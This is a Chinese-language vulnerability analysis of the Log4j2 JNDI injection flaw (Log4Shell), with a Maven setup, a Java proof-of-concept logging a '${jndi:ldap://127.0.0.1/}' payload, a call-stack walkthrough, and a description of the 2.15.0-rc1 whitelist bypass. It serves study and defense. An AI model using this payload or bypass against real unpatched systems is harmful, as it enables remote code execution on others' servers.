简介
Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。
影响版本
Apache Log4j2 <=2.14.1
环境搭建
创建一个maven项目,pox.xml文件内容为以下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
|
然后创建一个类,类内容如下:
1
2
3
4
5
6
7
8
9
10
|
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1/}");
}
}
|
漏洞分析
其中System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
是为了绕过本地jdk限制,否则无法弹出计算器,详情可参考:https://y4er.com/post/attack-java-jndi-rmi-ldap-2/
调用堆栈如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:11, log4j
|
堆栈过长不在一一分析,直接进入到org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
中
该方法会对日志内容进行解析和格式化,并返回最终格式化后的日志内容,if判断字符是否为$
,并且下一个字符是否为{
,当符合时substring
进行截取,接下来replace
进行替换,此时可以发现,该变量可控
接下来进入org.apache.logging.log4j.core.lookup.StrSubstitutor#replace
首先会判断source
是否为空值,然后进入到substitute
方法中
在该方法中会进行一系列的字符判断后,会传入到resolveVariable
中
传入到这里时,StrSubstitutor
会将{}
中的内容提取出来,传递给org.apache.logging.log4j.core.lookup.Interpolator#lookup
实现Lookup功能
参数传进来后,会对:
前的内容截取,而在Interpolator
类中的strLookupMap
中存有Lookup功能实现类,然后会根据截取的内容进行相应的调用,此时会根据截取后的jndi
调用org.apache.logging.log4j.core.lookup.JndiLookup#lookup
在lookup
中会创建一个JndiManager
对象,然后会进入到org.apache.logging.log4j.core.net.JndiManager#lookup
中
在创建JndiManager
对象时,会创建一个新的InitialContext
实例,该实例会保存在context
中
最后在JndiManager#lookup
中造成JNDI注入
rc1绕过
官方第一次发布了log4j-2.15.0-rc1 安全更新包,存在在开启Lookup配置时,可以被绕过
在 2.15.0-rc1的更新包中,默认不开启Lookup功能,并且使用SimpleMessagePatternConverter
进行消息的格式化处理,不会解析其中的${}
关键字,其次是在JndiManager#lookup
中添加了白名单限制,
不过因为在lookup
函数中进行判断时,由于校验逻辑错误,在catch
异常后没有进行return
返回,导致可以利用URISyntaxException
异常来绕过lookup
,例如在url中加入空格,在后续的版本中已被修复
参考链接
- https://websecuritys.cn/archives/log4j2-rce.html#
- https://tttang.com/archive/1378/
- https://paper.seebug.org/1789/#0x06-2150-rc1